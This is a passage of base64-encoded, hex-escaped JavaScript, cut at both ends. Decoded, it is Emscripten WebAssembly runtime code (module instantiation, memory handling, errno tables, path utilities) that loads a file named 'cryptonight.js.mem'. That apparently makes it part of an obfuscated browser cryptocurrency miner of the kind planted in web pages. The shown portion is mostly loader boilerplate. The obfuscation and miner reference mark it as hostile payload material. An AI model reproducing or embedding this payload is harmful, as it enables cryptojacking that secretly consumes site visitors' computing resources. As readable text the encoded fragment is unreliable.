vdmlkZWRCdWZmZXIpe2lmKHR5cGVvZlx4MjBXZWJBc3NlbWJseSE9PVx4MjJvYmplY3RceDIyKXtNb2R1bGVbXHgyMnByaW50RXJyXHgyMl0oXHgyMm5vXHgyMG5hdGl2ZVx4MjB3YXNtXHgyMHN1cHBvcnRceDIwZGV0ZWN0ZWRceDIyKTtyZXR1cm5ceDIwZmFsc2V9aWYoIShNb2R1bGVbXHgyMndhc21NZW1vcnlceDIyXWluc3RhbmNlb2ZceDIwV2ViQXNzZW1ibHkuTWVtb3J5KSl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFx4MjJub1x4MjBuYXRpdmVceDIwd2FzbVx4MjBNZW1vcnlceDIwaW5ceDIwdXNlXHgyMik7cmV0dXJuXHgyMGZhbHNlfWVudltceDIybWVtb3J5XHgyMl09TW9kdWxlW1x4MjJ3YXNtTWVtb3J5XHgyMl07aW5mb1tceDIyZ2xvYmFsXHgyMl09e1x4MjJOYU5ceDIyOk5hTixceDIySW5maW5pdHlceDIyOkluZmluaXR5fTtpbmZvW1x4MjJnbG9iYWwuTWF0aFx4MjJdPWdsb2JhbC5NYXRoO2luZm9bXHgyMmVudlx4MjJdPWVudjtmdW5jdGlvblx4MjByZWNlaXZlSW5zdGFuY2UoaW5zdGFuY2Upe2V4cG9ydHM9aW5zdGFuY2UuZXhwb3J0cztpZihleHBvcnRzLm1lbW9yeSltZXJnZU1lbW9yeShleHBvcnRzLm1lbW9yeSk7TW9kdWxlW1x4MjJhc21ceDIyXT1leHBvcnRzO01vZHVsZVtceDIydXNpbmdXYXNtXHgyMl09dHJ1ZTtyZW1vdmVSdW5EZXBlbmRlbmN5KFx4MjJ3YXNtLWluc3RhbnRpYXRlXHgyMil9YWRkUnVuRGVwZW5kZW5jeShceDIyd2FzbS1pbnN0YW50aWF0ZVx4MjIpO2lmKE1vZHVsZVtceDIyaW5zdGFudGlhdGVXYXNtXHgyMl0pe3RyeXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJpbnN0YW50aWF0ZVdhc21ceDIyXShpbmZvLHJlY2VpdmVJbnN0YW5jZSl9Y2F0Y2goZSl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdKFx4MjJNb2R1bGUuaW5zdGFudGlhdGVXYXNtXHgyMGNhbGxiYWNrXHgyMGZhaWxlZFx4MjB3aXRoXHgyMGVycm9yOlx4MjBceDIyK2UpO3JldHVyblx4MjBmYWxzZX19Z2V0QmluYXJ5UHJvbWlzZSgpLnRoZW4oKGZ1bmN0aW9uKGJpbmFyeSl7cmV0dXJuXHgyMFdlYkFzc2VtYmx5Lmluc3RhbnRpYXRlKGJpbmFyeSxpbmZvKX0pKS50aGVuKChmdW5jdGlvbihvdXRwdXQpe3JlY2VpdmVJbnN0YW5jZShvdXRwdXRbXHgyMmluc3RhbmNlXHgyMl0pfSkpLmNhdGNoKChmdW5jdGlvbihyZWFzb24pe01vZHVsZVtceDIycHJpbnRFcnJceDIyXShceDIyZmFpbGVkXHgyMHRvXHgyMGFzeW5jaHJvbm91c2x5XHgyMHByZXBhcmVceDIwd2FzbTpceDIwXHgyMityZWFzb24pO2Fib3J0KHJlYXNvbil9KSk7cmV0dXJue319TW9kdWxlW1x4MjJhc21QcmVsb2FkXHgyMl09TW9kdWxlW1x4MjJhc21ceDIyXTt2YXJceDIwYXNtanNSZWFsbG9jQnVmZmVyPU1vZHVsZVtceDIycmVhbGxvY0J1ZmZlclx4MjJdO3Zhclx4MjB3YXNtUmVhbGxvY0J1ZmZlcj0oZnVuY3Rpb24oc2l6ZSl7dmFyXHgyMFBBR0VfTVVMVElQTEU9TW9kdWxlW1x4MjJ1c2luZ1dhc21ceDIyXT9XQVNNX1BBR0VfU0laRTpBU01KU19QQUdFX1NJWkU7c2l6ZT1hbGlnblVwKHNpemUsUEFHRV9NVUxUSVBMRSk7dmFyXHgyMG9sZD1Nb2R1bGVbXHgyMmJ1ZmZlclx4MjJdO3Zhclx4MjBvbGRTaXplPW9sZC5ieXRlTGVuZ3RoO2lmKE1vZHVsZVtceDIydXNpbmdXYXNtXHgyMl0pe3RyeXt2YXJceDIwcmVzdWx0PU1vZHVsZVtceDIyd2FzbU1lbW9yeVx4MjJdLmdyb3coKHNpemUtb2xkU2l6ZSkvd2FzbVBhZ2VTaXplKTtpZihyZXN1bHQhPT0oLTF8MCkpe3JldHVyblx4MjBNb2R1bGVbXHgyMmJ1ZmZlclx4MjJdPU1vZHVsZVtceDIyd2FzbU1lbW9yeVx4MjJdLmJ1ZmZlcn1lbHNle3JldHVyblx4MjBudWxsfX1jYXRjaChlKXtyZXR1cm5ceDIwbnVsbH19ZWxzZXtleHBvcnRzW1x4MjJfX2dyb3dXYXNtTWVtb3J5XHgyMl0oKHNpemUtb2xkU2l6ZSkvd2FzbVBhZ2VTaXplKTtyZXR1cm5ceDIwTW9kdWxlW1x4MjJidWZmZXJceDIyXSE9PW9sZD9Nb2R1bGVbXHgyMmJ1ZmZlclx4MjJdOm51bGx9fSk7TW9kdWxlW1x4MjJyZWFsbG9jQnVmZmVyXHgyMl09KGZ1bmN0aW9uKHNpemUpe2lmKGZpbmFsTWV0aG9kPT09XHgyMmFzbWpzXHgyMil7cmV0dXJuXHgyMGFzbWpzUmVhbGxvY0J1ZmZlcihzaXplKX1lbHNle3JldHVyblx4MjB3YXNtUmVhbGxvY0J1ZmZlcihzaXplKX19KTt2YXJceDIwZmluYWxNZXRob2Q9XHgyMlx4MjI7TW9kdWxlW1x4MjJhc21ceDIyXT0oZnVuY3Rpb24oZ2xvYmFsLGVudixwcm92aWRlZEJ1ZmZlcil7Z2xvYmFsPWZpeEltcG9ydHMoZ2xvYmFsKTtlbnY9Zml4SW1wb3J0cyhlbnYpO2lmKCFlbnZbXHgyMnRhYmxlXHgyMl0pe3Zhclx4MjBUQUJMRV9TSVpFPU1vZHVsZVtceDIyd2FzbVRhYmxlU2l6ZVx4MjJdO2lmKFRBQkxFX1NJWkU9PT11bmRlZmluZWQpVEFCTEVfU0laRT0xMDI0O3Zhclx4MjBNQVhfVEFCTEVfU0laRT1Nb2R1bGVbXHgyMndhc21NYXhUYWJsZVNpemVceDIyXTtpZih0eXBlb2ZceDIwV2ViQXNzZW1ibHk9PT1ceDIyb2JqZWN0XHgyMiYmdHlwZW9mXHgyMFdlYkFzc2VtYmx5LlRhYmxlPT09XHgyMmZ1bmN0aW9uXHgyMil7aWYoTUFYX1RBQkxFX1NJWkUhPT11bmRlZmluZWQpe2VudltceDIydGFibGVceDIyXT1uZXdceDIwV2ViQXNzZW1ibHkuVGFibGUoe1x4MjJpbml0aWFsXHgyMjpUQUJMRV9TSVpFLFx4MjJtYXhpbXVtXHgyMjpNQVhfVEFCTEVfU0laRSxceDIyZWxlbWVudFx4MjI6XHgyMmFueWZ1bmNceDIyfSl9ZWxzZXtlbnZbXHgyMnRhYmxlXHgyMl09bmV3XHgyMFdlYkFzc2VtYmx5LlRhYmxlKHtceDIyaW5pdGlhbFx4MjI6VEFCTEVfU0laRSxlbGVtZW50Olx4MjJhbnlmdW5jXHgyMn0pfX1lbHNle2VudltceDIydGFibGVceDIyXT1uZXdceDIwQXJyYXkoVEFCTEVfU0laRSl9TW9kdWxlW1x4MjJ3YXNtVGFibGVceDIyXT1lbnZbXHgyMnRhYmxlXHgyMl19aWYoIWVudltceDIybWVtb3J5QmFzZVx4MjJdKXtlbnZbXHgyMm1lbW9yeUJhc2VceDIyXT1Nb2R1bGVbXHgyMlNUQVRJQ19CQVNFXHgyMl19aWYoIWVudltceDIydGFibGVCYXNlXHgyMl0pe2VudltceDIydGFibGVCYXNlXHgyMl09MH12YXJceDIwZXhwb3J0cztleHBvcnRzPWRvTmF0aXZlV2FzbShnbG9iYWwsZW52LHByb3ZpZGVkQnVmZmVyKTtyZXR1cm5ceDIwZXhwb3J0c30pO3Zhclx4MjBtZXRob2RIYW5kbGVyPU1vZHVsZVtceDIyYXNtXHgyMl19aW50ZWdyYXRlV2FzbUpTKE1vZHVsZSk7dmFyXHgyMEFTTV9DT05TVFM9W107U1RBVElDX0JBU0U9UnVudGltZS5HTE9CQUxfQkFTRTtTVEFUSUNUT1A9U1RBVElDX0JBU0UrMTI1MTI7X19BVElOSVRfXy5wdXNoKCk7bWVtb3J5SW5pdGlhbGl6ZXI9TW9kdWxlW1x4MjJ3YXNtSlNNZXRob2RceDIyXS5pbmRleE9mKFx4MjJhc21qc1x4MjIpPj0wfHxNb2R1bGVbXHgyMndhc21KU01ldGhvZFx4MjJdLmluZGV4T2YoXHgyMmludGVycHJldC1hc20yd2FzbVx4MjIpPj0wP1x4MjJjcnlwdG9uaWdodC5qcy5tZW1ceDIyOm51bGw7dmFyXHgyMFNUQVRJQ19CVU1QPTEyNTEyO01vZHVsZVtceDIyU1RBVElDX0JBU0VceDIyXT1TVEFUSUNfQkFTRTtNb2R1bGVbXHgyMlNUQVRJQ19CVU1QXHgyMl09U1RBVElDX0JVTVA7dmFyXHgyMHRlbXBEb3VibGVQdHI9U1RBVElDVE9QO1NUQVRJQ1RPUCs9MTY7ZnVuY3Rpb25ceDIwX19fYXNzZXJ0X2ZhaWwoY29uZGl0aW9uLGZpbGVuYW1lLGxpbmUsZnVuYyl7QUJPUlQ9dHJ1ZTt0aHJvd1x4MjJBc3NlcnRpb25ceDIwZmFpbGVkOlx4MjBceDIyK1BvaW50ZXJfc3RyaW5naWZ5KGNvbmRpdGlvbikrXHgyMixceDIwYXQ6XHgyMFx4MjIrW2ZpbGVuYW1lP1BvaW50ZXJfc3RyaW5naWZ5KGZpbGVuYW1lKTpceDIydW5rbm93blx4MjBmaWxlbmFtZVx4MjIsbGluZSxmdW5jP1BvaW50ZXJfc3RyaW5naWZ5KGZ1bmMpOlx4MjJ1bmtub3duXHgyMGZ1bmN0aW9uXHgyMl0rXHgyMlx4MjBhdFx4MjBceDIyK3N0YWNrVHJhY2UoKX12YXJceDIwUFJPQ0lORk89e3BwaWQ6MSxwaWQ6NDIsc2lkOjQyLHBnaWQ6NDJ9O3Zhclx4MjBFUlJOT19DT0RFUz17RVBFUk06MSxFTk9FTlQ6MixFU1JDSDozLEVJTlRSOjQsRUlPOjUsRU5YSU86NixFMkJJRzo3LEVOT0VYRUM6OCxFQkFERjo5LEVDSElMRDoxMCxFQUdBSU46MTEsRVdPVUxEQkxPQ0s6MTEsRU5PTUVNOjEyLEVBQ0NFUzoxMyxFRkFVTFQ6MTQsRU5PVEJMSzoxNSxFQlVTWToxNixFRVhJU1Q6MTcsRVhERVY6MTgsRU5PREVWOjE5LEVOT1RESVI6MjAsRUlTRElSOjIxLEVJTlZBTDoyMixFTkZJTEU6MjMsRU1GSUxFOjI0LEVOT1RUWToyNSxFVFhUQlNZOjI2LEVGQklHOjI3LEVOT1NQQzoyOCxFU1BJUEU6MjksRVJPRlM6MzAsRU1MSU5LOjMxLEVQSVBFOjMyLEVET006MzMsRVJBTkdFOjM0LEVOT01TRzo0MixFSURSTTo0MyxFQ0hSTkc6NDQsRUwyTlNZTkM6NDUsRUwzSExUOjQ2LEVMM1JTVDo0NyxFTE5STkc6NDgsRVVOQVRDSDo0OSxFTk9DU0k6NTAsRUwySExUOjUxLEVERUFETEs6MzUsRU5PTENLOjM3LEVCQURFOjUyLEVCQURSOjUzLEVYRlVMTDo1NCxFTk9BTk86NTUsRUJBRFJRQzo1NixFQkFEU0xUOjU3LEVERUFETE9DSzozNSxFQkZPTlQ6NTksRU5PU1RSOjYwLEVOT0RBVEE6NjEsRVRJTUU6NjIsRU5PU1I6NjMsRU5PTkVUOjY0LEVOT1BLRzo2NSxFUkVNT1RFOjY2LEVOT0xJTks6NjcsRUFEVjo2OCxFU1JNTlQ6NjksRUNPTU06NzAsRVBST1RPOjcxLEVNVUxUSUhPUDo3MixFRE9URE9UOjczLEVCQURNU0c6NzQsRU5PVFVOSVE6NzYsRUJBREZEOjc3LEVSRU1DSEc6NzgsRUxJQkFDQzo3OSxFTElCQkFEOjgwLEVMSUJTQ046ODEsRUxJQk1BWDo4MixFTElCRVhFQzo4MyxFTk9TWVM6MzgsRU5PVEVNUFRZOjM5LEVOQU1FVE9PTE9ORzozNixFTE9PUDo0MCxFT1BOT1RTVVBQOjk1LEVQRk5PU1VQUE9SVDo5NixFQ09OTlJFU0VUOjEwNCxFTk9CVUZTOjEwNSxFQUZOT1NVUFBPUlQ6OTcsRVBST1RPVFlQRTo5MSxFTk9UU09DSzo4OCxFTk9QUk9UT09QVDo5MixFU0hVVERPV046MTA4LEVDT05OUkVGVVNFRDoxMTEsRUFERFJJTlVTRTo5OCxFQ09OTkFCT1JURUQ6MTAzLEVORVRVTlJFQUNIOjEwMSxFTkVURE9XTjoxMDAsRVRJTUVET1VUOjExMCxFSE9TVERPV046MTEyLEVIT1NUVU5SRUFDSDoxMTMsRUlOUFJPR1JFU1M6MTE1LEVBTFJFQURZOjExNCxFREVTVEFERFJSRVE6ODksRU1TR1NJWkU6OTAsRVBST1RPTk9TVVBQT1JUOjkzLEVTT0NLVE5PU1VQUE9SVDo5NCxFQUREUk5PVEFWQUlMOjk5LEVORVRSRVNFVDoxMDIsRUlTQ09OTjoxMDYsRU5PVENPTk46MTA3LEVUT09NQU5ZUkVGUzoxMDksRVVTRVJTOjg3LEVEUVVPVDoxMjIsRVNUQUxFOjExNixFTk9UU1VQOjk1LEVOT01FRElVTToxMjMsRUlMU0VROjg0LEVPVkVSRkxPVzo3NSxFQ0FOQ0VMRUQ6MTI1LEVOT1RSRUNPVkVSQUJMRToxMzEsRU9XTkVSREVBRDoxMzAsRVNUUlBJUEU6ODZ9O3Zhclx4MjBFUlJOT19NRVNTQUdFUz17MDpceDIyU3VjY2Vzc1x4MjIsMTpceDIyTm90XHgyMHN1cGVyLXVzZXJceDIyLDI6XHgyMk5vXHgyMHN1Y2hceDIwZmlsZVx4MjBvclx4MjBkaXJlY3RvcnlceDIyLDM6XHgyMk5vXHgyMHN1Y2hceDIwcHJvY2Vzc1x4MjIsNDpceDIySW50ZXJydXB0ZWRceDIwc3lzdGVtXHgyMGNhbGxceDIyLDU6XHgyMkkvT1x4MjBlcnJvclx4MjIsNjpceDIyTm9ceDIwc3VjaFx4MjBkZXZpY2VceDIwb3JceDIwYWRkcmVzc1x4MjIsNzpceDIyQXJnXHgyMGxpc3RceDIwdG9vXHgyMGxvbmdceDIyLDg6XHgyMkV4ZWNceDIwZm9ybWF0XHgyMGVycm9yXHgyMiw5Olx4MjJCYWRceDIwZmlsZVx4MjBudW1iZXJceDIyLDEwOlx4MjJOb1x4MjBjaGlsZHJlblx4MjIsMTE6XHgyMk5vXHgyMG1vcmVceDIwcHJvY2Vzc2VzXHgyMiwxMjpceDIyTm90XHgyMGVub3VnaFx4MjBjb3JlXHgyMiwxMzpceDIyUGVybWlzc2lvblx4MjBkZW5pZWRceDIyLDE0Olx4MjJCYWRceDIwYWRkcmVzc1x4MjIsMTU6XHgyMkJsb2NrXHgyMGRldmljZVx4MjByZXF1aXJlZFx4MjIsMTY6XHgyMk1vdW50XHgyMGRldmljZVx4MjBidXN5XHgyMiwxNzpceDIyRmlsZVx4MjBleGlzdHNceDIyLDE4Olx4MjJDcm9zcy1kZXZpY2VceDIwbGlua1x4MjIsMTk6XHgyMk5vXHgyMHN1Y2hceDIwZGV2aWNlXHgyMiwyMDpceDIyTm90XHgyMGFceDIwZGlyZWN0b3J5XHgyMiwyMTpceDIySXNceDIwYVx4MjBkaXJlY3RvcnlceDIyLDIyOlx4MjJJbnZhbGlkXHgyMGFyZ3VtZW50XHgyMiwyMzpceDIyVG9vXHgyMG1hbnlceDIwb3Blblx4MjBmaWxlc1x4MjBpblx4MjBzeXN0ZW1ceDIyLDI0Olx4MjJUb29ceDIwbWFueVx4MjBvcGVuXHgyMGZpbGVzXHgyMiwyNTpceDIyTm90XHgyMGFceDIwdHlwZXdyaXRlclx4MjIsMjY6XHgyMlRleHRceDIwZmlsZVx4MjBidXN5XHgyMiwyNzpceDIyRmlsZVx4MjB0b29ceDIwbGFyZ2VceDIyLDI4Olx4MjJOb1x4MjBzcGFjZVx4MjBsZWZ0XHgyMG9uXHgyMGRldmljZVx4MjIsMjk6XHgyMklsbGVnYWxceDIwc2Vla1x4MjIsMzA6XHgyMlJlYWRceDIwb25seVx4MjBmaWxlXHgyMHN5c3RlbVx4MjIsMzE6XHgyMlRvb1x4MjBtYW55XHgyMGxpbmtzXHgyMiwzMjpceDIyQnJva2VuXHgyMHBpcGVceDIyLDMzOlx4MjJNYXRoXHgyMGFyZ1x4MjBvdXRceDIwb2ZceDIwZG9tYWluXHgyMG9mXHgyMGZ1bmNceDIyLDM0Olx4MjJNYXRoXHgyMHJlc3VsdFx4MjBub3RceDIwcmVwcmVzZW50YWJsZVx4MjIsMzU6XHgyMkZpbGVceDIwbG9ja2luZ1x4MjBkZWFkbG9ja1x4MjBlcnJvclx4MjIsMzY6XHgyMkZpbGVceDIwb3JceDIwcGF0aFx4MjBuYW1lXHgyMHRvb1x4MjBsb25nXHgyMiwzNzpceDIyTm9ceDIwcmVjb3JkXHgyMGxvY2tzXHgyMGF2YWlsYWJsZVx4MjIsMzg6XHgyMkZ1bmN0aW9uXHgyMG5vdFx4MjBpbXBsZW1lbnRlZFx4MjIsMzk6XHgyMkRpcmVjdG9yeVx4MjBub3RceDIwZW1wdHlceDIyLDQwOlx4MjJUb29ceDIwbWFueVx4MjBzeW1ib2xpY1x4MjBsaW5rc1x4MjIsNDI6XHgyMk5vXHgyMG1lc3NhZ2VceDIwb2ZceDIwZGVzaXJlZFx4MjB0eXBlXHgyMiw0MzpceDIySWRlbnRpZmllclx4MjByZW1vdmVkXHgyMiw0NDpceDIyQ2hhbm5lbFx4MjBudW1iZXJceDIwb3V0XHgyMG9mXHgyMHJhbmdlXHgyMiw0NTpceDIyTGV2ZWxceDIwMlx4MjBub3RceDIwc3luY2hyb25pemVkXHgyMiw0NjpceDIyTGV2ZWxceDIwM1x4MjBoYWx0ZWRceDIyLDQ3Olx4MjJMZXZlbFx4MjAzXHgyMHJlc2V0XHgyMiw0ODpceDIyTGlua1x4MjBudW1iZXJceDIwb3V0XHgyMG9mXHgyMHJhbmdlXHgyMiw0OTpceDIyUHJvdG9jb2xceDIwZHJpdmVyXHgyMG5vdFx4MjBhdHRhY2hlZFx4MjIsNTA6XHgyMk5vXHgyMENTSVx4MjBzdHJ1Y3R1cmVceDIwYXZhaWxhYmxlXHgyMiw1MTpceDIyTGV2ZWxceDIwMlx4MjBoYWx0ZWRceDIyLDUyOlx4MjJJbnZhbGlkXHgyMGV4Y2hhbmdlXHgyMiw1MzpceDIySW52YWxpZFx4MjByZXF1ZXN0XHgyMGRlc2NyaXB0b3JceDIyLDU0Olx4MjJFeGNoYW5nZVx4MjBmdWxsXHgyMiw1NTpceDIyTm9ceDIwYW5vZGVceDIyLDU2Olx4MjJJbnZhbGlkXHgyMHJlcXVlc3RceDIwY29kZVx4MjIsNTc6XHgyMkludmFsaWRceDIwc2xvdFx4MjIsNTk6XHgyMkJhZFx4MjBmb250XHgyMGZpbGVceDIwZm10XHgyMiw2MDpceDIyRGV2aWNlXHgyMG5vdFx4MjBhXHgyMHN0cmVhbVx4MjIsNjE6XHgyMk5vXHgyMGRhdGFceDIwKGZvclx4MjBub1x4MjBkZWxheVx4MjBpbylceDIyLDYyOlx4MjJUaW1lclx4MjBleHBpcmVkXHgyMiw2MzpceDIyT3V0XHgyMG9mXHgyMHN0cmVhbXNceDIwcmVzb3VyY2VzXHgyMiw2NDpceDIyTWFjaGluZVx4MjBpc1x4MjBub3RceDIwb25ceDIwdGhlXHgyMG5ldHdvcmtceDIyLDY1Olx4MjJQYWNrYWdlXHgyMG5vdFx4MjBpbnN0YWxsZWRceDIyLDY2Olx4MjJUaGVceDIwb2JqZWN0XHgyMGlzXHgyMHJlbW90ZVx4MjIsNjc6XHgyMlRoZVx4MjBsaW5rXHgyMGhhc1x4MjBiZWVuXHgyMHNldmVyZWRceDIyLDY4Olx4MjJBZHZlcnRpc2VceDIwZXJyb3JceDIyLDY5Olx4MjJTcm1vdW50XHgyMGVycm9yXHgyMiw3MDpceDIyQ29tbXVuaWNhdGlvblx4MjBlcnJvclx4MjBvblx4MjBzZW5kXHgyMiw3MTpceDIyUHJvdG9jb2xceDIwZXJyb3JceDIyLDcyOlx4MjJNdWx0aWhvcFx4MjBhdHRlbXB0ZWRceDIyLDczOlx4MjJDcm9zc1x4MjBtb3VudFx4MjBwb2ludFx4MjAobm90XHgyMHJlYWxseVx4MjBlcnJvcilceDIyLDc0Olx4MjJUcnlpbmdceDIwdG9ceDIwcmVhZFx4MjB1bnJlYWRhYmxlXHgyMG1lc3NhZ2VceDIyLDc1Olx4MjJWYWx1ZVx4MjB0b29ceDIwbGFyZ2VceDIwZm9yXHgyMGRlZmluZWRceDIwZGF0YVx4MjB0eXBlXHgyMiw3NjpceDIyR2l2ZW5ceDIwbG9nLlx4MjBuYW1lXHgyMG5vdFx4MjB1bmlxdWVceDIyLDc3Olx4MjJmLmQuXHgyMGludmFsaWRceDIwZm9yXHgyMHRoaXNceDIwb3BlcmF0aW9uXHgyMiw3ODpceDIyUmVtb3RlXHgyMGFkZHJlc3NceDIwY2hhbmdlZFx4MjIsNzk6XHgyMkNhblx4MjBhY2Nlc3NceDIwYVx4MjBuZWVkZWRceDIwc2hhcmVkXHgyMGxpYlx4MjIsODA6XHgyMkFjY2Vzc2luZ1x4MjBhXHgyMGNvcnJ1cHRlZFx4MjBzaGFyZWRceDIwbGliXHgyMiw4MTpceDIyLmxpYlx4MjBzZWN0aW9uXHgyMGluXHgyMGEub3V0XHgyMGNvcnJ1cHRlZFx4MjIsODI6XHgyMkF0dGVtcHRpbmdceDIwdG9ceDIwbGlua1x4MjBpblx4MjB0b29ceDIwbWFueVx4MjBsaWJzXHgyMiw4MzpceDIyQXR0ZW1wdGluZ1x4MjB0b1x4MjBleGVjXHgyMGFceDIwc2hhcmVkXHgyMGxpYnJhcnlceDIyLDg0Olx4MjJJbGxlZ2FsXHgyMGJ5dGVceDIwc2VxdWVuY2VceDIyLDg2Olx4MjJTdHJlYW1zXHgyMHBpcGVceDIwZXJyb3JceDIyLDg3Olx4MjJUb29ceDIwbWFueVx4MjB1c2Vyc1x4MjIsODg6XHgyMlNvY2tldFx4MjBvcGVyYXRpb25ceDIwb25ceDIwbm9uLXNvY2tldFx4MjIsODk6XHgyMkRlc3RpbmF0aW9uXHgyMGFkZHJlc3NceDIwcmVxdWlyZWRceDIyLDkwOlx4MjJNZXNzYWdlXHgyMHRvb1x4MjBsb25nXHgyMiw5MTpceDIyUHJvdG9jb2xceDIwd3JvbmdceDIwdHlwZVx4MjBmb3JceDIwc29ja2V0XHgyMiw5MjpceDIyUHJvdG9jb2xceDIwbm90XHgyMGF2YWlsYWJsZVx4MjIsOTM6XHgyMlVua25vd25ceDIwcHJvdG9jb2xceDIyLDk0Olx4MjJTb2NrZXRceDIwdHlwZVx4MjBub3RceDIwc3VwcG9ydGVkXHgyMiw5NTpceDIyTm90XHgyMHN1cHBvcnRlZFx4MjIsOTY6XHgyMlByb3RvY29sXHgyMGZhbWlseVx4MjBub3RceDIwc3VwcG9ydGVkXHgyMiw5NzpceDIyQWRkcmVzc1x4MjBmYW1pbHlceDIwbm90XHgyMHN1cHBvcnRlZFx4MjBieVx4MjBwcm90b2NvbFx4MjBmYW1pbHlceDIyLDk4Olx4MjJBZGRyZXNzXHgyMGFscmVhZHlceDIwaW5ceDIwdXNlXHgyMiw5OTpceDIyQWRkcmVzc1x4MjBub3RceDIwYXZhaWxhYmxlXHgyMiwxMDA6XHgyMk5ldHdvcmtceDIwaW50ZXJmYWNlXHgyMGlzXHgyMG5vdFx4MjBjb25maWd1cmVkXHgyMiwxMDE6XHgyMk5ldHdvcmtceDIwaXNceDIwdW5yZWFjaGFibGVceDIyLDEwMjpceDIyQ29ubmVjdGlvblx4MjByZXNldFx4MjBieVx4MjBuZXR3b3JrXHgyMiwxMDM6XHgyMkNvbm5lY3Rpb25ceDIwYWJvcnRlZFx4MjIsMTA0Olx4MjJDb25uZWN0aW9uXHgyMHJlc2V0XHgyMGJ5XHgyMHBlZXJceDIyLDEwNTpceDIyTm9ceDIwYnVmZmVyXHgyMHNwYWNlXHgyMGF2YWlsYWJsZVx4MjIsMTA2Olx4MjJTb2NrZXRceDIwaXNceDIwYWxyZWFkeVx4MjBjb25uZWN0ZWRceDIyLDEwNzpceDIyU29ja2V0XHgyMGlzXHgyMG5vdFx4MjBjb25uZWN0ZWRceDIyLDEwODpceDIyQ2FuXHgyN3RceDIwc2VuZFx4MjBhZnRlclx4MjBzb2NrZXRceDIwc2h1dGRvd25ceDIyLDEwOTpceDIyVG9vXHgyMG1hbnlceDIwcmVmZXJlbmNlc1x4MjIsMTEwOlx4MjJDb25uZWN0aW9uXHgyMHRpbWVkXHgyMG91dFx4MjIsMTExOlx4MjJDb25uZWN0aW9uXHgyMHJlZnVzZWRceDIyLDExMjpceDIySG9zdFx4MjBpc1x4MjBkb3duXHgyMiwxMTM6XHgyMkhvc3RceDIwaXNceDIwdW5yZWFjaGFibGVceDIyLDExNDpceDIyU29ja2V0XHgyMGFscmVhZHlceDIwY29ubmVjdGVkXHgyMiwxMTU6XHgyMkNvbm5lY3Rpb25ceDIwYWxyZWFkeVx4MjBpblx4MjBwcm9ncmVzc1x4MjIsMTE2Olx4MjJTdGFsZVx4MjBmaWxlXHgyMGhhbmRsZVx4MjIsMTIyOlx4MjJRdW90YVx4MjBleGNlZWRlZFx4MjIsMTIzOlx4MjJOb1x4MjBtZWRpdW1ceDIwKGluXHgyMHRhcGVceDIwZHJpdmUpXHgyMiwxMjU6XHgyMk9wZXJhdGlvblx4MjBjYW5jZWxlZFx4MjIsMTMwOlx4MjJQcmV2aW91c1x4MjBvd25lclx4MjBkaWVkXHgyMiwxMzE6XHgyMlN0YXRlXHgyMG5vdFx4MjByZWNvdmVyYWJsZVx4MjJ9O2Z1bmN0aW9uXHgyMF9fX3NldEVyck5vKHZhbHVlKXtpZihNb2R1bGVbXHgyMl9fX2Vycm5vX2xvY2F0aW9uXHgyMl0pSEVBUDMyW01vZHVsZVtceDIyX19fZXJybm9fbG9jYXRpb25ceDIyXSgpPj4yXT12YWx1ZTtyZXR1cm5ceDIwdmFsdWV9dmFyXHgyMFBBVEg9e3NwbGl0UGF0aDooZnVuY3Rpb24oZmlsZW5hbWUpe3Zhclx4MjBzcGxpdFBhdGhSZT0vXihceDVjLz98KShbXHg1Y3NceDVjU10qPykoKD86XHg1Yy57MSwyfXxbXlx4NWMvXSs/fCkoXHg1Yy5bXi5ceDVjL10qfCkpKD86W1x4NWMvXSopJC87cmV0dXJuXHgyMHNwbGl0UGF0aFJlLmV4ZWMoZmlsZW5hbWUpLnNsaWNlKDEpfSksbm9ybWFsaXplQXJyYXk6KGZ1bmN0aW9uKHBhcnRzLGFsbG93QWJvdmVSb290KXt2YXJceDIwdXA9MDtmb3IodmFyXHgyMGk9cGFydHMubGVuZ3RoLTE7aT49MDtpLS0pe3Zhclx4MjBsYXN0PXBhcnRzW2ldO2lmKGxhc3Q9PT1ceDIyLlx4MjIpe3BhcnRzLnNwbGljZShpLDEpfWVsc2VceDIwaWYobGFzdD09PVx4MjIuLlx4MjIpe3BhcnRzLnNwbGljZShpLDEpO3VwKyt9ZWxzZVx4MjBpZih1cCl7cGFydHMuc3BsaWNlKGksMSk7dXAtLX19aWYoYWxsb3dBYm92ZVJvb3Qpe2Zvcig7dXA7dXAtLSl7cGFydHMudW5zaGlmdChceDIyLi5ceDIyKX19cmV0dXJuXHgyMHBhcnRzfSksbm9ybWFsaXplOihmdW5jdGlvbihwYXRoKXt2YXJceDIwaXNBYnNvbHV0ZT1wYXRoLmNoYXJBdCgwKT09PVx4MjIvXHgyMix0cmFpbGluZ1NsYXNoPXBhdGguc3Vic3RyKC0xKT09PVx4MjIvXHgyMjtwYXRoPVBBVEgubm9ybWFsaXplQXJyYXkocGF0aC5zcGxpdChceDIyL1x4MjIpLmZpbHRlcigoZnVuY3Rpb24ocCl7cmV0dXJuISFwfSkpLCFpc0Fic29sdXRlKS5qb2luKFx4MjIvXHgyMik7aWYoIXBhdGgmJiFpc0Fic29sdXRlKXtwYXRoPVx4MjIuXHgyMn1pZihwYXRoJiZ0cmFpbGluZ1NsYXNoKXtwYXRoKz1ceDIyL1x4MjJ9cmV0dXJuKGlzQWJzb2x1dGU/XHgyMi9ceDIyOlx4MjJceDIyKStwYXRofSksZGlybmFtZTooZnVuY3Rpb24ocGF0aCl7dmFyXHgyMHJlc3VsdD1QQVRILnNwbGl0UGF0aChwYXRoKSxyb290PXJlc3VsdFswXSxkaXI9cmVzdWx0WzFdO2lmKCFyb290JiYhZGlyKXtyZXR1cm5ceDIyLlx4MjJ9aWYoZGlyKXtkaXI9ZGlyLnN1YnN0cigwLGRpci5sZW5ndGgtMSl9cmV0dXJuXHgyMHJvb3QrZGlyfSksYmFzZW5hbWU6KGZ1bmN0aW9uKHBhdGgpe2lmKHBhdGg9PT1ceDIyL1x4MjIpcmV0dXJuXHgyMi9ceDIyO3Zhclx4MjBsYXN0U2xhc2g9cGF0aC5sYXN0SW5kZXhPZihceDIyL1x4MjIpO2lmKGxhc3RTbGFzaD09PS0xKXJldHVyblx4MjBwYXRoO3JldHVyblx4MjBwYXRoLnN1YnN0cihsYXN0U2xhc2grMSl9KSxleHRuYW1lOihmdW5jdGlvbihwYXRoKXtyZXR1cm5ceDIwUEFUSC5zcGxpdFBhdGgocGF0aClbM119KSxqb2luOihmdW5jdGlvbigpe3Zhclx4MjBwYXRocz1BcnJheS5wcm90b3R5cGUuc2xpY2UuY2FsbChhcmd1b